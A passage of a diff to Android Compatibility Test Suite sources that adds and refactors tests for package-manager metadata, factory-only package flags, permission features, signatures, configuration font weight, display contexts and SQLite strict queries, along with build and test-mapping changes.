+        final ActivityInfo info = mPackageManager.getReceiverInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this provider will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InContentProvider() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockContentProvider.class);
+        final ProviderInfo info = mPackageManager.getProviderInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    private void checkMetaData(@NonNull PackageItemInfo ci)
+            throws IOException, XmlPullParserException, NameNotFoundException {
+        final Bundle metaData = ci.metaData;
+        final Resources res = mPackageManager.getResourcesForApplication(ci.packageName);
+        assertWithMessage("No meta-data found").that(metaData).isNotNull();
+
+        assertThat(metaData.getString("android.content.cts.string")).isEqualTo("foo");
+        assertThat(metaData.getBoolean("android.content.cts.boolean")).isTrue();
+        assertThat(metaData.getInt("android.content.cts.integer")).isEqualTo(100);
+        assertThat(metaData.getInt("android.content.cts.color")).isEqualTo(0xff000000);
+        assertThat(metaData.getFloat("android.content.cts.float")).isEqualTo(100.1f);
+        assertThat(metaData.getInt("android.content.cts.reference")).isEqualTo(R.xml.metadata);
+
+        XmlResourceParser xml = null;
+        TypedArray a = null;
+        try {
+            xml = ci.loadXmlMetaData(mPackageManager, "android.content.cts.reference");
+            assertThat(xml).isNotNull();
+
+            int type;
+            while ((type = xml.next()) != XmlPullParser.START_TAG
+                    && type != XmlPullParser.END_DOCUMENT) {
+                // Seek parser to start tag.
+            }
+            assertThat(type).isEqualTo(XmlPullParser.START_TAG);
+            assertThat(xml.getName()).isEqualTo("thedata");
+
+            assertThat(xml.getAttributeValue(null, "rawText")).isEqualTo("some raw text");
+            assertThat(xml.getAttributeIntValue(null, "rawColor", 0)).isEqualTo(0xffffff00);
+            assertThat(xml.getAttributeValue(null, "rawColor")).isEqualTo("#ffffff00");
+
+            a = res.obtainAttributes(xml, new int[] {android.R.attr.text, android.R.attr.color});
+            assertThat(a.getString(0)).isEqualTo("metadata text");
+            assertThat(a.getColor(1, 0)).isEqualTo(0xffff0000);
+            assertThat(a.getString(1)).isEqualTo("#ffff0000");
+        } finally {
+            if (a != null) {
+                a.recycle();
+            }
+            if (xml != null) {
+                xml.close();
+            }
+        }
+    }
+
     @Test
     public void testGetApplicationInfo_ApexSupported_MatchesApex() throws Exception {
         assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
@@ -990,4 +1313,118 @@
         assertThat(packageInfo.signatures)
                 .asList().containsExactly((Object[]) pastSigningCertificates);
     }
+
+    /**
+     * Runs a test for all combinations of a set of flags
+     * @param flagValues Which flags to use
+     * @param test The test
+     */
+    public void runTestWithFlags(int[] flagValues, Consumer<Integer> test) {
+        for (int i = 0; i < (1 << flagValues.length); i++) {
+            int flags = 0;
+            for (int j = 0; j < flagValues.length; j++) {
+                if ((i & (1 << j)) != 0) {
+                    flags |= flagValues[j];
+                }
+            }
+            try {
+                test.accept(flags);
+            } catch (Throwable t) {
+                throw new AssertionError(
+                        "Test failed for flags 0x" + String.format("%08x", flags), t);
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag doesn't add new package names in the result of
+     * getInstalledPackages.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_IsSubset() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_IsSubset);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_IsSubset(int flags) {
+        List<PackageInfo> packageInfos = mPackageManager.getInstalledPackages(flags);
+        List<PackageInfo> packageInfos2 = mPackageManager.getInstalledPackages(
+                flags | MATCH_FACTORY_ONLY);
+        Set<String> supersetNames =
+                packageInfos.stream().map(pi -> pi.packageName).collect(Collectors.toSet());
+
+        for (PackageInfo pi : packageInfos2) {
+            if (!supersetNames.contains(pi.packageName)) {
+                throw new AssertionError(
+                        "The subset contains packages that the superset doesn't contain.");
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag filters out all non-system packages in the result of
+     * getInstalledPackages.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_ImpliesSystem() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_ImpliesSystem);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_ImpliesSystem(int flags) {
+        List<PackageInfo> packageInfos =
+                mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
+        for (PackageInfo pi : packageInfos) {
+            if (!pi.applicationInfo.isSystemApp()) {
+                throw new AssertionError(pi.packageName + " is not a system app.");
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag doesn't add the same package multiple times since there
+     * may be multiple versions of a system package on the device.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates(int flags) {
+        List<PackageInfo> packageInfos =
+                mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
+        Set<String> foundPackages = new HashSet<>();
+        for (PackageInfo pi : packageInfos) {
+            if (foundPackages.contains(pi.packageName)) {
+                throw new AssertionError(pi.packageName + " is listed at least twice.");
+            }
+            foundPackages.add(pi.packageName);
+        }
+    }
+
+    @Test
+    public void testInstall_withLongPackageName_fail() {
+        assertThat(installPackage(LONG_PACKAGE_NAME_APK)).isFalse();
+    }
+
+    @Test
+    public void testInstall_withLongSharedUserId_fail() {
+        assertThat(installPackage(LONG_SHARED_USER_ID_APK)).isFalse();
+    }
+
+    @Test
+    public void testInstall_withMaxPackageName_success() {
+        assertThat(installPackage(MAX_PACKAGE_NAME_APK)).isTrue();
+    }
+
+    @Test
+    public void testInstall_withMaxSharedUserId_success() {
+        assertThat(installPackage(MAX_SHARED_USER_ID_APK)).isTrue();
+    }
+
+    private boolean installPackage(String apkPath) {
+        return SystemUtil.runShellCommand("pm install -t " + apkPath).equals("Success\n");
+    }
+
+    private void uninstallPackage(String packageName) {
+        SystemUtil.runShellCommand("pm uninstall " + packageName);
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
index 7fc3af0..1107467 100644
--- a/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
@@ -23,44 +23,62 @@
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class PermissionFeatureTest extends AndroidTestCase {
     public void testPermissionRequiredFeatureDefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_DEFINED",
-                        getContext().getPackageName()));
+        assertPermissionGranted("android.content.cts.REQUIRED_FEATURE_DEFINED");
+    }
+
+    public void testPermissionRequiredFeatureDefined_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_FEATURE_DEFINED_2");
     }
 
     public void testPermissionRequiredFeatureUndefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_UNDEFINED",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_FEATURE_UNDEFINED");
     }
 
     public void testPermissionRequiredNotFeatureDefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_DEFINED",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_NOT_FEATURE_DEFINED");
     }
 
     public void testPermissionRequiredNotFeatureUndefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED",
-                        getContext().getPackageName()));
+        assertPermissionGranted("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED");
+    }
+
+    public void testPermissionRequiredNotFeatureUndefined_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2");
     }
 
     public void testPermissionRequiredMultiDeny() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_MULTI_DENY",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY");
+    }
+
+    public void testPermissionRequiredMultiDeny_usingTags() {
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY_2");
+    }
+
+    public void testPermissionRequiredMultiDeny_usingTagsAndAttributes() {
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY_3");
     }
 
     public void testPermissionRequiredMultiGrant() {
-        PackageManager pm = getContext().getPackageManager();
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT");
+    }
+
+    public void testPermissionRequiredMultiGrant_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT_2");
+    }
+
+    public void testPermissionRequiredMultiGrant_usingTagsAndAttributes() {
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT_3");
+    }
+
+    public void assertPermissionGranted(String permName) {
+        final PackageManager pm = getContext().getPackageManager();
         assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_MULTI_GRANT",
-                        getContext().getPackageName()));
+                pm.checkPermission(permName, getContext().getPackageName()));
+    }
+
+    public void assertPermissionDenied(String permName) {
+        final PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                pm.checkPermission(permName, getContext().getPackageName()));
     }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/SignatureTest.java b/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
index 5008527..03ab031 100644
--- a/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
@@ -169,4 +169,17 @@
         assertTrue(signatureFromParcel.equals(byteSignature));
         p.recycle();
     }
+
+    public void testSignatureHashCodeEquals_doesNotIncludeFlags() {
+        // Some classes rely on the hash code and equals not including the flags / capabilities
+        // for the signer. This test verifies two signers with the same signature but different
+        // flags have the same hash code and are still equal.
+        Signature signatureWithAllCaps = new Signature(SIGNATURE_STRING);
+        signatureWithAllCaps.setFlags(31);
+        Signature signatureWithNoCaps = new Signature(SIGNATURE_STRING);
+        signatureWithNoCaps.setFlags(0);
+
+        assertEquals(signatureWithAllCaps.hashCode(), signatureWithNoCaps.hashCode());
+        assertEquals(signatureWithAllCaps, signatureWithNoCaps);
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt b/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt
new file mode 100644
index 0000000..db446f2
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts.util
+
+import androidx.test.platform.app.InstrumentationRegistry
+import org.junit.rules.TestRule
+import org.junit.runner.Description
+import org.junit.runners.model.Statement
+
+/**
+ * Abandons all sessions for the instrumentation package after the test has finished.
+ */
+class AbandonAllPackageSessionsRule : TestRule {
+    override fun apply(base: Statement, description: Description?) = object : Statement() {
+        override fun evaluate() {
+            try {
+                base.evaluate()
+            } finally {
+                val packageInstaller = InstrumentationRegistry.getInstrumentation()
+                        .getContext().packageManager.packageInstaller
+                packageInstaller.mySessions.forEach {
+                    try {
+                        packageInstaller.abandonSession(it.sessionId)
+                    } catch (ignored: Exception) {
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
index 4db1ee5..bf43777 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
@@ -48,6 +48,7 @@
         mConfig.keyboardHidden = Configuration.KEYBOARDHIDDEN_NO;
         mConfig.navigation = Configuration.NAVIGATION_NONAV;
         mConfig.orientation = Configuration.ORIENTATION_PORTRAIT;
+        mConfig.fontWeightAdjustment = 300;
     }
 
     public void testConstructor() {
@@ -60,6 +61,13 @@
         final Configuration cfg2 = new Configuration();
         assertEquals(0, cfg1.compareTo(cfg2));
 
+        cfg1.fontWeightAdjustment = 1;
+        cfg2.fontWeightAdjustment = 2;
+        assertEquals(-1, cfg1.compareTo(cfg2));
+        cfg1.fontWeightAdjustment = 2;
+        cfg2.fontWeightAdjustment = 1;
+        assertEquals(1, cfg1.compareTo(cfg2));
+
         cfg1.colorMode = 2;
         cfg2.colorMode = 3;
         assertEquals(-1, cfg1.compareTo(cfg2));
@@ -183,7 +191,7 @@
         assertEquals(expectedFlags, tmpc1.updateFrom(c2));
         assertEquals(0, tmpc1.diff(c2));
     }
-    
+
     public void testDiff() {
         Configuration config = new Configuration();
         config.mcc = 1;
@@ -312,6 +320,21 @@
                 | ActivityInfo.CONFIG_UI_MODE
                 | ActivityInfo.CONFIG_FONT_SCALE
                 | ActivityInfo.CONFIG_COLOR_MODE, mConfigDefault, config);
+        config.fontWeightAdjustment = 300;
+        doConfigCompare(ActivityInfo.CONFIG_MCC
+                | ActivityInfo.CONFIG_MNC
+                | ActivityInfo.CONFIG_LOCALE
+                | ActivityInfo.CONFIG_LAYOUT_DIRECTION
+                | ActivityInfo.CONFIG_SCREEN_LAYOUT
+                | ActivityInfo.CONFIG_TOUCHSCREEN
+                | ActivityInfo.CONFIG_KEYBOARD
+                | ActivityInfo.CONFIG_KEYBOARD_HIDDEN
+                | ActivityInfo.CONFIG_NAVIGATION
+                | ActivityInfo.CONFIG_ORIENTATION
+                | ActivityInfo.CONFIG_UI_MODE
+                | ActivityInfo.CONFIG_FONT_SCALE
+                | ActivityInfo.CONFIG_COLOR_MODE
+                | ActivityInfo.CONFIG_FONT_WEIGHT_ADJUSTMENT, mConfigDefault, config);
     }
 
     public void testEquals() {
@@ -363,6 +386,7 @@
                 config.smallestScreenWidthDp);
         assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
         assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
+        assertEquals(Configuration.FONT_WEIGHT_ADJUSTMENT_UNDEFINED, config.fontWeightAdjustment);
     }
 
     public void testUnset() {
@@ -390,6 +414,7 @@
                 config.smallestScreenWidthDp);
         assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
         assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
+        assertEquals(Configuration.FONT_WEIGHT_ADJUSTMENT_UNDEFINED, config.fontWeightAdjustment);
     }
 
     public void testToString() {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 81116e5..45b2216 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -1038,4 +1038,9 @@
         AttributeSet anim_rotate_set = Xml.asAttributeSet(anim_rotate_parser);
         assertEquals(R.anim.anim_rotate, Resources.getAttributeSetSourceResId(anim_rotate_set));
     }
+
+    public void testSystemFontFamilyReturnsSystemFont() {
+        Typeface typeface = mResources.getFont(R.font.sample_downloadable_font);
+        assertEquals(typeface, Typeface.create("sans-serif", Typeface.NORMAL));
+    }
 }
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
new file mode 100644
index 0000000..60d8a9f
--- /dev/null
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.wm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.cts.ContextTestBase;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Test for {@link Context#getDisplay()}.
+ * <p>Test context type listed below:</p>
+ * <ul>
+ *     <li>{@link android.app.Application} - throw exception</li>
+ *     <li>{@link Service} - throw exception</li>
+ *     <li>{@link Activity} - get {@link Display} entity</li>
+ *     <li>Context via {@link Context#createWindowContext(int, Bundle)}
+ *     - get {@link Display} entity</li>
+ *     <li>Context via {@link Context#createDisplayContext(Display)}
+ *     - get {@link Display} entity</li>
+ *     <li>Context derived from display context
+ *     - get {@link Display} entity</li>
+ *     <li>{@link ContextWrapper} with base display-associated {@link Context}
+ *     - get {@link Display} entity</li>
+ *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
+ *     - get {@link Display} entity</li>
+ * </ul>
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsContentTestCases:ContextGetDisplayTest
+ */
+@Presubmit
+@SmallTest
+public class ContextGetDisplayTest extends ContextTestBase {
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromApplication() {
+        mApplicationContext.getDisplay();
+    }
+
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromService() throws TimeoutException {
+        createTestService().getDisplay();
+    }
+
+    @Test
+    public void testGetDisplayFromActivity() throws Throwable {
+        final Display d = getTestActivity().getDisplay();
+
+        assertNotNull("Display must be accessible from visual components", d);
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContext() {
+        final Display display = getDefaultDisplay();
+        Context displayContext = mApplicationContext.createDisplayContext(display);
+
+        assertEquals(display, displayContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnPrimaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(false /* onSecondaryDisplay */);
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnSecondaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
+    }
+
+    private void verifyGetDisplayFromDisplayContextDerivedContext(boolean onSecondaryDisplay) {
+        final Display display = onSecondaryDisplay ? getSecondaryDisplay() : getDefaultDisplay();
+        final Context context = mApplicationContext.createDisplayContext(display)
+                .createConfigurationContext(new Configuration());
+        assertEquals(display, context.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContext() {
+        final Display display = getDefaultDisplay();
+        final Context windowContext = createWindowContext();
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithDefaultDisplay() {
+        final Display display = getDefaultDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithSecondaryDisplay() {
+        final Display display = getSecondaryDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromVisualWrapper() throws Throwable {
+        final Activity activity = getTestActivity();
+        final Display d = new ContextWrapper(activity).getDisplay();
+
+        assertEquals("Displays between context wrapper and base UI context must match.",
+                activity.getDisplay(), d);
+    }
+
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromNonVisualWrapper() {
+        ContextWrapper wrapper = new ContextWrapper(mApplicationContext);
+        wrapper.getDisplay();
+    }
+}
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
new file mode 100644
index 0000000..849e764
--- /dev/null
+++ b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.wm.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.cts.ContextTestBase;
+import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+/**
+ * Test for {@link Context#isUiContext(Context)}.
+ * <p>Test context type listed below:</p>
+ * <ul>
+ *     <li>{@link android.app.Application} - returns {@code false}</li>
+ *     <li>{@link Service} - returns {@code false}</li>
+ *     <li>{@link Activity} - returns {@code true}</li>
+ *     <li>Context via {@link Context#createWindowContext(int, Bundle)} - returns {@code true}</li>
+ *     <li>Context via {@link android.inputmethodservice.InputMethodService}
+ *     - returns {@code true}</li>
+ *     <li>Context via {@link Context#createDisplayContext(Display)} - returns {@code false}</li>
+ *     <li>Context derived from display context - returns {@code false}</li>
+ *      <li>UI derived context - returns {@code true}</li>
+ *     <li>UI derived display context - returns {@code false}</li>
+ *     <li>{@link ContextWrapper} with base UI {@link Context} - returns {@code true}</li>
+ *     <li>{@link ContextWrapper} with base non-UI {@link Context} - returns {@code false}</li>
+ * </ul>
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsContentTestCases:ContextIsUiContextTest
+ */
+@Presubmit
+@SmallTest
+public class ContextIsUiContextTest extends ContextTestBase {
+    @Test
+    public void testIsUiContextOnApplication() {
+        assertThat(Context.isUiContext(mApplicationContext)).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnService() throws Exception {
+        assertThat(Context.isUiContext(createTestService())).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnActivity() throws Throwable {
+        assertThat(Context.isUiContext(getTestActivity())).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnWindowContext() {
+        assertThat(Context.isUiContext(createWindowContext())).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnWindowContextWithDisplay() {
+        final Context windowContext = mApplicationContext.createWindowContext(getDefaultDisplay(),
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertThat(Context.isUiContext(windowContext)).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnInputMethodService() {
+        assertThat(Context.isUiContext(new InputMethodService())).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnDefaultDisplayContext() {
+        final Context defaultDisplayContext =
+                mApplicationContext.createDisplayContext(getDefaultDisplay());
+        assertThat(Context.isUiContext(defaultDisplayContext)).isFalse();
+
+        final Context defaultDisplayDerivedContext = defaultDisplayContext
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(Context.isUiContext(defaultDisplayDerivedContext)).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnSecondaryDisplayContext() {
+        final Context secondaryDisplayContext =
+                mApplicationContext.createDisplayContext(getSecondaryDisplay());
+        assertThat(Context.isUiContext(secondaryDisplayContext)).isFalse();
+
+        final Context secondaryDisplayDerivedContext = secondaryDisplayContext
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(Context.isUiContext(secondaryDisplayDerivedContext)).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnUiDerivedContext() {
+        final Context uiDerivedContext = createWindowContext()
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(Context.isUiContext(uiDerivedContext)).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnUiDerivedDisplayContext() {
+        final Context uiDerivedDisplayContext = createWindowContext()
+                .createDisplayContext(getSecondaryDisplay());
+        assertThat(Context.isUiContext(uiDerivedDisplayContext)).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnUiContextWrapper() {
+        final Context uiContextWrapper = new ContextWrapper(createWindowContext());
+        assertThat(Context.isUiContext(uiContextWrapper)).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnNonUiContextWrapper() {
+        final Context uiContextWrapper = new ContextWrapper(mApplicationContext);
+        assertThat(Context.isUiContext(uiContextWrapper)).isFalse();
+    }
+}
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
index fc8ec7f..179e6b3 100644
--- a/tests/tests/cronet/Android.bp
+++ b/tests/tests/cronet/Android.bp
@@ -14,10 +14,6 @@
 
 
 // TODO: Move this target to cts/tests/tests/net/cronet
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCronetTestCases",
     defaults: ["cts_defaults"],
@@ -34,7 +30,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts-cronet",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/cronet/TEST_MAPPING b/tests/tests/cronet/TEST_MAPPING
new file mode 100644
index 0000000..b1f3088
--- /dev/null
+++ b/tests/tests/cronet/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCronetTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/database/Android.bp b/tests/tests/database/Android.bp
index 9921305..e2e1f2c 100644
--- a/tests/tests/database/Android.bp
+++ b/tests/tests/database/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDatabaseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/database/TEST_MAPPING b/tests/tests/database/TEST_MAPPING
new file mode 100644
index 0000000..4a7fa66
--- /dev/null
+++ b/tests/tests/database/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDatabaseTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/database/apps/Android.bp b/tests/tests/database/apps/Android.bp
index 9cb636a..0f18003 100644
--- a/tests/tests/database/apps/Android.bp
+++ b/tests/tests/database/apps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
   name: "CtsProviderApp",
   sdk_version: "test_current",
@@ -28,4 +24,4 @@
     "cts",
     "general-tests",
   ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 125197c..f4b293d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -743,6 +743,18 @@
     }
 
     @Test
+    public void testStrictQueryEmptyToken() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    new String[] { column }, column + "=\"\"", null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    new String[] { column }, column + "=\"\"", null, null, null, null, null);
+        }
+    }
+
+    @Test
     public void testStrictQueryOrderBy() {
         for (String column : COLUMNS_VALID) {
             assertStrictQueryValid(
diff --git a/tests/tests/deviceconfig/Android.bp b/tests/tests/deviceconfig/Android.bp
index bcbab0e..ade7f7c 100644
--- a/tests/tests/deviceconfig/Android.bp
+++ b/tests/tests/deviceconfig/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceConfigTestCases",
     defaults: ["cts_defaults"],
